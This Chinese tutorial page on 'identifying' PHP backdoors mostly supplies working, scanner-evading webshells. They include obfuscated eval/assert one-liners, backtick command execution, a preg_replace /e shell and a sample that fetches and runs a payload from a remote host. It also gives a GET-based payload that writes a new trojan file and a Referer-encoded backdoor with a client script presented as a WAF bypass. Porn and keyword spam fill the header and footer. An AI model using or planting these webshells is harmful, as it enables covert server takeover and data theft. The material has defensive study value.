国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 網(wǎng)站 > 建站經(jīng)驗(yàn) > 正文

教你識(shí)別簡(jiǎn)單的免查殺PHP后門

2024-04-25 20:41:50
字體:
供稿:網(wǎng)友

一個(gè)最常見的一句話后門可能寫作這樣

<?php @eval($_POST['cmd']);?>

或這樣

<?php @assert($_POST['cmd']);?>

tudouya 同學(xué)在FREEBUF上給出[一種構(gòu)造技巧]利用

代碼如下:

<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>

構(gòu)造生成,當(dāng)然,嫌太直觀可以寫作這樣

代碼如下:

<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代碼進(jìn)行偽裝,一個(gè)簡(jiǎn)單的”免殺”shell樣本就出現(xiàn)了

我們?cè)賮砜纯刺?hào)稱史上最簡(jiǎn)單免查殺php后門

直接上代碼:

<?php

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精簡(jiǎn)

/*******************************************************

* 原理:PHP中``符號(hào)包含會(huì)當(dāng)作系統(tǒng)命令執(zhí)行

* 示例:http://host/?c=type%20config.php>config.txt

* 然后就可以下載config.txt查看內(nèi)容了!

* 可以試試更變態(tài)的命令,不要干壞事哦!

*******************************************************/

其實(shí)現(xiàn)原理就是PHP會(huì)直接將 ` 符號(hào)(注意:不是單引號(hào))包含的內(nèi)容解析為系統(tǒng)命令執(zhí)行!這樣就可以自由變態(tài)地?cái)U(kuò)展了!

再來看同樣很簡(jiǎn)單的一段代碼

<?php

preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft");

?>

密碼page

近期捕獲一個(gè)基于PHP實(shí)現(xiàn)的webshell樣本,其巧妙的代碼動(dòng)態(tài)生成方式,猥瑣的自身頁(yè)面?zhèn)窝b手法,讓我們?cè)诜治鲞@個(gè)樣本的過程中感受到相當(dāng)多的樂趣。接下來就讓我們一同共賞這個(gè)奇葩的Webshell吧。

Webshell代碼如下:

<?php

error_reporting(0);

session_start();

header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))

$_SESSION['api']=substr(file_get_contents(

sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

?>

關(guān)鍵看下面這句代碼,

代碼如下:

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

這里執(zhí)行之后其實(shí)是一張圖片,解密出來的圖片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后調(diào)用file_get_contents函數(shù)讀取圖片為字符串,然后substr取3649字節(jié)之后的內(nèi)容,再調(diào)用gzuncompress解壓,得到真正的代碼。最后調(diào)用preg_replace的修飾符e來執(zhí)行惡意代碼的。這里執(zhí)行以下語(yǔ)句來還原出惡意樣本代碼,

代碼如下:

<?php

echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));

?>

無特征隱藏PHP一句話:

<?php

session_start();

$_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]);

$_SESSION [ 'theCode' ]&&preg_replace( '/'a/'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[/'theCode/']))' , 'a' );

?>

將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點(diǎn)是沒有特征碼。用掃描工具來檢查代碼的話,是不會(huì)報(bào)警的,達(dá)到目的了。

超級(jí)隱蔽的PHP后門:

<?php $_GET [a]( $_GET [b]);?>

僅用GET函數(shù)就構(gòu)成了木馬;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

執(zhí)行后當(dāng)前目錄生成c.php一句話木馬,當(dāng)傳參a為eval時(shí)會(huì)報(bào)錯(cuò)木馬生成失敗,為assert時(shí)同樣報(bào)錯(cuò),但會(huì)生成木馬,真可謂不可小視,簡(jiǎn)簡(jiǎn)單單的一句話,被延伸到這般應(yīng)用。

層級(jí)請(qǐng)求,編碼運(yùn)行PHP后門:

此方法用兩個(gè)文件實(shí)現(xiàn),文件1

<?php

//1.php

header( 'Content-type:text/html;charset=utf-8' );

parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a );

if (reset( $a ) == '10' && count ( $a ) == 9) {

eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6)))));

}

?>

文件2

<?php

//2.php

header( 'Content-type:text/html;charset=utf-8' );

//要執(zhí)行的代碼

$code = <<<CODE

phpinfo();

CODE;

//進(jìn)行base64編碼

$code = base64_encode ( $code );

//構(gòu)造referer字符串

$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ;

//后門url

$url = 'http://localhost/test1/1.php ' ;

$ch = curl_init();

$options = array (

CURLOPT_URL => $url ,

CURLOPT_HEADER => FALSE,

CURLOPT_RETURNTRANSFER => TRUE,

CURLOPT_REFERER => $referer

);

curl_setopt_array( $ch , $options );

echocurl_exec( $ch );

?>

通過HTTP請(qǐng)求中的HTTP_REFERER來運(yùn)行經(jīng)過base64編碼的代碼,來達(dá)到后門的效果,一般waf對(duì)referer這些檢測(cè)要松一點(diǎn),或者沒有檢測(cè)。用這個(gè)思路bypass waf不錯(cuò)。

我們以一個(gè)學(xué)習(xí)的心態(tài)來對(duì)待這些PHP后門程序,很多PHP后門代碼讓我們看到程序員們是多么的用心良苦。

發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 东至县| 龙川县| 临朐县| 衡山县| 四平市| 大城县| 罗江县| 新余市| 鲜城| 团风县| 靖宇县| 铁力市| 凤庆县| 大名县| 江都市| 西华县| 峨眉山市| 三河市| 宝清县| 永年县| 永春县| 焦作市| 泰宁县| 新晃| 泸州市| 马山县| 康保县| 台南县| 宁城县| 嵩明县| 农安县| 班戈县| 太原市| 沙河市| 汉寿县| 富蕴县| 铁力市| 鲜城| 黔西县| 青阳县| 辽宁省|